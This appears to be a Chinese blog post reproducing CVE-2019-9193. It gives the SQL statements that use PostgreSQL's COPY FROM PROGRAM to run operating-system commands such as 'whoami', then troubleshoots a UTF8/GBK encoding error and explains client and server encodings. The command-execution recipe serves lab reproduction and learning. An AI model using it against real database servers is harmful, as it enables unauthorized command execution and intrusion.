PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)复现

漏洞原理
从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令
范围:9.3-11.2

连接数据库执行命令

DROP TABLE IF EXISTS cmd_exec;//第一次不执行这条,删除你想使用但已存在的表
CREATE TABLE cmd_exec(cmd_output text);//创建保存系统命令输出的表
COPY cmd_exec FROM PROGRAM 'whoami';//通过COPY FROM PROGRAM功能运行系统命令
SELECT * FROM cmd_exec;//查看结果

postgresql漏洞补丁版本:
https://www.postgresql.org/support/security/
问题:我用的pgadmin连接数据库,在执行这条命令时

COPY cmd_exec FROM PROGRAM 'ipconfig';

出现了以下错误
ERROR: invalid byte sequence for encoding “UTF8”: 0xc5 0xe4
CONTEXT: COPY cmd_exec, line 2
SQL 状态: 22021

暂未解决:不知道pgamdin设置编码的步骤。
xshell改编码的方式
https://blog.csdn.net/weixin_34228387/article/details/90158156

Postgres客户端编码问题
数据库编程的编码问题
数据库编程设计的编码问题包括三个方面:
数据库服务器编码;
数据库客户端编码;
本地环境编码。

1)查看PostgreSQL数据库服务器端编码:
postgres=# show server_encoding;
 server_encoding 
-----------------
 UTF8
(2)数据库客户端字符编码:
 客户端工具支持某种编码,必须能够显示从数据库读取的该种编码的字符,也能通过本工具将该种编码的字符提交到给服务器端。       
 查看PostgreSQL客户端工具psql编码:
 postgres=# show client_encoding;
 GBK
 postgres=# \encoding
 GBK
 指定Postgresql会话的客户端编码:
 postgres=# set client_encoding to 'utf8';
 SET
 postgres=# show client_encoding;
 client_encoding 
 -----------------
 UTF8
  (3)本地环境编码:
如果使用dos的命令行界面,本地环境就是指dos命令行环境的编码,可以使用dos命令chcp查看dos环境编码:
D:\Program Files\PowerCmd>chcp
活动代码页: 936
----936为简体中文,GBK;
如果在使用某种编辑器,则本地环境编码取该编辑器的编码设置。

https://www.cnblogs.com/winkey4986/p/6279243.html
參考:https://cloud.tencent.com/developer/article/1472565

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值